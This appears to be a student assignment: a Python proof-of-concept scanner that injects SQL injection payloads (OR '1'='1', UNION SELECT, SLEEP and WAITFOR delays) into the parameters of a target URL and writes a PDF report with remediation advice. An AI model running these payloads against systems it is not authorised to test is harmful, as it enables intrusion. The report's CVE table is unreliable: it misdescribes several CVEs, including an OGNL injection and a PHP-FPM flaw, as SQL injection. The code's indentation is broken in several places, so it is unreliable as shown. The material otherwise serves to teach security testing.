Task 1: Research and Develop a Proof-of-Concept for SQL Injection Detection

```
import time
from urllib.parse import urlparse, parse_qs, urlencode
import requests
from datetime import datetime
from reportlab.lib.pagesizes import letter
from reportlab.pdfgen import canvas
from reportlab.graphics.shapes import Drawing
from reportlab.graphics.charts.piecharts import Pie
from reportlab.graphics import renderPDF
from reportlab.lib import colors
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.lib.units import inch
import matplotlib.pyplot as plt
from bs4 import BeautifulSoup
import os
import io
from reportlab.platypus import (
    SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle, Image, PageBreak
)
# SQL error signatures
sql_errors = [
    "syntax error", "unclosed quotation", "mysql_fetch", "you have an error in your sql syntax;",
    "warning: mysql", "odbc sql server", "sql syntax", "unexpected token", "unterminated",
```

```
    "sqlite error", "pg_query", "fatal error", "sqlstate", "ora-", "native client",
"mysql_num_rows"
]

# Injection payloads
payloads = [
    "' OR '1'='1' -- ",
    "\" OR \"1\"=\"1\" -- ",
    "' UNION SELECT NULL-- ",
    "' UNION SELECT 1,2,3 -- ",
    "'; WAITFOR DELAY '00:00:05' -- ",
    "'; SELECT SLEEP(5) -- "
]

# Setup log directory
log_dir = "logs"
os.makedirs(log_dir, exist_ok=True)
log_file = os.path.join(log_dir,
f"sqli_log_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt")

def log_to_file(param, payload, status, reason, status_code, content_snippet, timestamp):
    with open(log_file, "a", encoding='utf-8') as f:
        f.write(f"--- Timestamp: {timestamp} ---\n")
        f.write(f"Param   : {param}\n")
        f.write(f"Payload : {payload}\n")
        f.write(f"Status  : {status}\n")
        f.write(f"Reason  : {reason}\n")
        f.write(f"HTTP Status: {status_code}\n")
        f.write(f"Content Snippet:\n{content_snippet}\n\n")
```

```
def get_detected_sqli_techniques(results):
    techniques = set()
    for param, payload, status, note in results:
        if status != "VULNERABLE":
            continue
        if "sql error" in note.lower():
            techniques.add("Error-based SQL Injection")
        if "union" in payload.lower():
            techniques.add("Union-based SQL Injection")
        if "time-based" in note.lower():
            techniques.add("Time-based Blind SQL Injection")
        if "' or '1'='1" in payload or '" or "1"="1' in payload:
            techniques.add("Classic SQL Injection")
    return list(techniques)

def test_sql_injection(url, method="GET", post_data=None):
    parsed = urlparse(url)
    qs = parse_qs(parsed.query)
    base_content = requests.get(url).text.lower() if method == "GET" else ""
    base_length = len(base_content)

    if not qs and method == "GET":
        print("[!] No query parameters found.")
        return []

    print(f"[+] Testing {method} request at: {url}")
    results = []
    param_keys = list(qs.keys()) if method == "GET" else list(post_data.keys())

    for param in param_keys:
```

```
        original_val = (qs[param][0] if method == "GET" else post_data[param])
        for payload in payloads:
            injected_val = original_val + payload
            test_data = {}

            if method == "GET":
                test_data = {k: (injected_val if k == param else v[0]) for k, v in qs.items()}
                inj_url = parsed._replace(query=urlencode(test_data)).geturl()
            else:
                test_data = {k: (injected_val if k == param else v) for k, v in post_data.items()}
                inj_url = url

            try:
                start = time.time()
                r = requests.get(inj_url, timeout=10) if method == "GET" else requests.post(inj_url,
data=test_data, timeout=10)
                elapsed = time.time() - start
                content = r.text.lower()
                status_code = r.status_code
                length = len(r.text)
                soup = BeautifulSoup(r.text, "html.parser")
                body_text = soup.get_text()[:300].strip().replace('\n', ' ')
            except requests.RequestException as e:
                results.append((param, payload.strip(), "Error", f"Request failed: {e}"))
                continue

            vulnerable = False
            reason = ""

            for err in sql_errors:
```

```
            if err in content:
                vulnerable = True
                reason = f"SQL error detected: '{err}'"
                break

        if elapsed > 3 and not vulnerable:
            vulnerable = True
            reason = f"Response delayed ({elapsed:.1f}s) — possible time-based blind SQLi"

        if length != base_length and not reason and method == "GET":
            vulnerable = True
            reason = "Response length changed"

        if not reason:
            reason = "No clear SQLi indicators"

        status = "VULNERABLE" if vulnerable else "Safe"
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

        results.append((param, payload.strip(), status, reason))
        log_to_file(param, payload.strip(), status, reason, status_code, body_text, timestamp)
        time.sleep(1)

    return results
def get_relevant_cves(detected_techniques):
# Real-world CVEs mapped to different SQLi techniques
    cve_database = {
        "classic": {
            "id": "CVE-2022-26134",
            "title": "Atlassian Confluence OGNL Injection",
```

```
        "desc": "A classic SQL injection affecting Atlassian Confluence, allowing attackers to execute arbitrary SQL commands.",
        "impact": "Attackers exploited this in the wild to gain remote code execution."
    },
    "union": {
        "id": "CVE-2023-34362",
        "title": "MOVEit Transfer SQL Injection",
        "desc": "A UNION-based SQL injection in MOVEit Transfer allowed attackers to enumerate and exfiltrate sensitive data.",
        "impact": "Used in a large-scale ransomware attack affecting multiple organizations."
    },
    "time-based": {
        "id": "CVE-2023-0669",
        "title": "Fortra GoAnywhere MFT SQL Injection",
        "desc": "A time-based blind SQL injection in GoAnywhere allowed attackers to bypass authentication.",
        "impact": "Enabled remote access and unauthorized command execution in enterprise systems."
    },
    "blind": {
        "id": "CVE-2019-11043",
         "title": "PHP-FPM in NGINX Blind Injection",
        "desc": "A blind SQL injection vulnerability discovered in PHP-FPM when used with NGINX.",
        "impact": "Exploited to gain full access in improperly configured environments."
    }
}


selected = []
used_types = set()
```

```
    for technique in detected_techniques:
        for key in cve_database:
            if key in technique.lower() and key not in used_types:
                selected.append(cve_database[key])
                used_types.add(key)
                break
        if len(selected) >= 3:
            break

    return selected
def add_methodology_explanation(story, detected_techniques):
    # Define the explanations for each technique (normalized keys)
    technique_explanations = {
        "classic sql injection": """
        - The tool sends payloads like `' OR '1'='1` to detect classic SQL injection.
        - It identifies SQL errors, page content anomalies, or successful login bypasses to confirm the vulnerability.
        """,
        "error-based sql injection": """
        - Payloads are injected to force SQL errors (e.g., `'`, `"`, or malformed queries).
        - The tool examines the response for database error messages such as `SQLSTATE`, `You have an error in your SQL syntax`, etc.
        """,
        "union-based sql injection": """
        - The tool attempts to use `UNION SELECT` statements to extract additional data from other tables.
        - Detection is based on successful merging of query results with the existing page.
        """,
        "time-based blind sql injection": """
        - Time-delay payloads (e.g., `SLEEP(5)`, `pg_sleep(5)`) are used.
```

```
        - If the server takes noticeably longer to respond, it indicates a time-based blind SQLi vulnerability.
        """,
        "boolean-based blind sql injection": """
        - The tool sends logical expressions like `AND 1=1` and `AND 1=2` to compare server responses.
        - It confirms vulnerabilities based on differences in returned page content or behavior.
        """
    }

    styles = getSampleStyleSheet()
    styleN = styles["Normal"]
    styleH = styles["Heading2"]

    methodology_title = Paragraph("□ Explanation of PoC Methodology and Detection Logic", styleH)
    story.append(Spacer(1, 20))
    story.append(methodology_title)
    story.append(Spacer(1, 10))

    # Check if techniques are detected
    if detected_techniques:
        explanation_parts = []
        for tech in detected_techniques:
            tech_lower = tech.lower()
            explanation = technique_explanations.get(
                tech_lower, f"- Detection logic for {tech} not documented."
            )
            explanation_parts.append(f"<b>{tech}</b><br/>{explanation.strip()}")

        combined_explanation = "<br/><br/>".join(explanation_parts)
```

```
        methodology_text = Paragraph(f"""
        The SQL Injection PoC tool dynamically detects different types of SQLi vulnerabilities by analyzing the server's response to crafted payloads.<br/><br/>
        <b>Detected Techniques:</b> {', '.join(detected_techniques)}<br/><br/>
        <b>Detection Logic:</b><br/><br/>
        {combined_explanation}
        """, styleN)
    else:
        methodology_text = Paragraph("""
        The SQL Injection PoC tool analyzes server responses to crafted payloads, but no specific techniques were detected during the scan.
        """, styleN)

    story.append(methodology_text)
    story.append(Spacer(1, 20))


def generate_pdf_report(url, method, results):
    doc = SimpleDocTemplate("SQLi_Scan_Report.pdf", pagesize=letter)
    styles = getSampleStyleSheet()
    story = []

    detected_techniques = get_detected_sqli_techniques(results)
    cve_list = get_relevant_cves(detected_techniques)

    # === Title & Metadata ===
    story.append(Paragraph("<b>SQL Injection Vulnerability Report</b>", styles["Title"]))
    story.append(Spacer(1, 12))
    story.append(Paragraph(f"<b>Scan Date:</b> {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", styles["Normal"]))
```

```
    story.append(Paragraph(f"<b>Target URL:</b> {url}", styles["Normal"]))
    story.append(Paragraph(f"<b>Request Method:</b> {method}", styles["Normal"]))
    story.append(Paragraph(f"<b>Total Payloads Tested:</b> {len(results)}",
styles["Normal"]))
    story.append(Spacer(1, 20))

    # === Overview ===
    story.append(Paragraph("<b>Overview of SQL Injection Techniques and Their
Impact</b>", styles["Heading2"]))
    story.append(Spacer(1, 10))

    overview_lines = []
    if not detected_techniques:
        overview_lines = [
            "No SQL injection vulnerabilities were detected during the scan.",
            "However, a general overview of common techniques is included below.",
            "",
            "1. Classic SQL Injection – Alters query logic using malicious input.",
            "2. Union-based SQL Injection – Leverages UNION to extract data.",
            "3. Error-based SQL Injection – Forces error messages to reveal structure.",
            "4. Time-based Blind SQL Injection – Infers data via delayed responses."
        ]
    else:
        overview_lines = ["The following SQL injection techniques were detected:"]
        for i, tech in enumerate(detected_techniques, 1):
            overview_lines.append(f"{i}. {tech}")

    for line in overview_lines:
        story.append(Paragraph(line, styles["Normal"]))
    story.append(Spacer(1, 20))
```

```
    # === CVE Table ===
    story.append(Paragraph("<b>Analysis of Real-World SQL Injection CVEs</b>", styles["Heading2"]))
    story.append(Spacer(1, 12))

    table_data = [["CVE ID", "Title", "Description", "Impact"]]
    for cve in cve_list:
        table_data.append([
            cve["id"],
            Paragraph(cve["title"], styles["Normal"]),
            Paragraph(cve["desc"], styles["Normal"]),
            Paragraph(cve["impact"], styles["Normal"])
        ])

    table = Table(table_data, colWidths=[100, 120, 180, 120])
    table.setStyle(TableStyle([
        ('BACKGROUND', (0, 0), (-1, 0), colors.HexColor("#003366")),
        ('TEXTCOLOR', (0, 0), (-1, 0), colors.white),
        ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
        ('FONTSIZE', (0, 0), (-1, -1), 8),
        ('GRID', (0, 0), (-1, -1), 0.5, colors.grey),
        ('VALIGN', (0, 0), (-1, -1), 'TOP'),
    ]))
    story.append(table)
    story.append(Spacer(1, 20))

    # === Methodology Explanation ===
    add_methodology_explanation(story, detected_techniques)
```

```
    # === Recommendations ===
    recommendations = {
        "classic sql injection": [
            "Use parameterized queries or prepared statements.",
            "Avoid dynamic SQL queries that concatenate user input.",
            "Implement proper error handling to avoid revealing database structure."
        ],
        "error-based sql injection": [
            "Do not expose detailed SQL error messages to end users.",
            "Use generic error messages and log internally."
        ],
        "union-based sql injection": [
            "Validate and sanitize user inputs.",
            "Use least privilege principle for DB user accounts."
        ],
        "time-based blind sql injection": [
            "Implement rate-limiting and timeout detection.",
            "Use WAFs to detect suspicious input patterns."
        ],
        "boolean-based blind sql injection": [
            "Use strict input validation.",
            "Continuously patch and audit your web stack."
        ]
    }


    story.append(Paragraph("🔒 <b>Recommendations for Preventing SQL Injection</b>",
styles["Heading2"]))
    story.append(Spacer(1, 10))


    if detected_techniques:
```

```
        for tech in detected_techniques:
            tech_lower = tech.lower()
            story.append(Paragraph(f"<b>{tech}</b>", styles["Heading3"]))
            for rec in recommendations.get(tech_lower, ["No specific recommendations."]):
                story.append(Paragraph(f"• {rec}", styles["Normal"]))
            story.append(Spacer(1, 10))
    else:
        story.append(Paragraph("No detected techniques found to recommend.",
styles["Normal"]))

    # === Pie Chart ===
    safe = sum(1 for r in results if r[2] == "Safe")
    vuln = sum(1 for r in results if r[2] == "VULNERABLE")
    drawing = Drawing(150, 120)
    pie = Pie()
    pie.x = 25
    pie.y = 15
    pie.width = 100
    pie.height = 100
    pie.data = [vuln, safe]
    pie.labels = ['Vulnerable', 'Safe']
    pie.slices[0].fillColor = colors.red
    pie.slices[1].fillColor = colors.green
    drawing.add(pie)

    story.append(Paragraph("<b>Scan Summary Pie Chart</b>", styles["Heading2"]))
    story.append(drawing)
    story.append(Spacer(1, 20))

    # === Payloads Table ===
```

```
    story.append(Paragraph("<b>Detailed Payload Scan Results</b>", styles["Heading2"]))
    payload_table = [["Parameter", "Payload", "Status", "Note"]]
    for param, payload, status, note in results:
        payload_table.append([
            param,
            payload,
            status,
            Paragraph(note, styles["Normal"])
        ])

    result_table = Table(payload_table, colWidths=[80, 130, 60, 230])
    result_table.setStyle(TableStyle([
        ('BACKGROUND', (0, 0), (-1, 0), colors.HexColor("#444444")),
        ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
        ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
        ('FONTSIZE', (0, 0), (-1, -1), 7),
        ('GRID', (0, 0), (-1, -1), 0.25, colors.black),
        ('VALIGN', (0, 0), (-1, -1), 'TOP')
    ]))
    story.append(result_table)
    story.append(PageBreak())

    # === Build the PDF ===
    doc.build(story)
    print("\n📄 PDF report generated: SQLi_Scan_Report.pdf")


if __name__ == "__main__":
    print("=== SQL Injection PoC Scanner (PDF + Pie Chart + Dynamic Overview) ===")
```

```
url = input("Enter the target URL (e.g. http://localhost/page.php?id=1): ")
method = input("Request method? (GET/POST): ").strip().upper()

if method == "POST":
    print("Enter POST data (e.g. user=admin&pass=123): ")
    post_input = input("POST data: ")
    post_data = dict([kv.split("=") for kv in post_input.split("&")])
    scan_results = test_sql_injection(url, method="POST", post_data=post_data)
else:
    scan_results = test_sql_injection(url)

# Print to console
print("\n=== Scan Summary ===")
for param, payload, status, reason in scan_results:
    print(f"[{status}] Param: '{param}' | Payload: {payload} | {reason}")

# Generate PDF with Pie Chart and dynamic overview
generate_pdf_report(url, method, scan_results)

 #http://testphp.vulnweb.com/listproducts.php?cat=1
#https://example.com/product?id=12345

#https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
```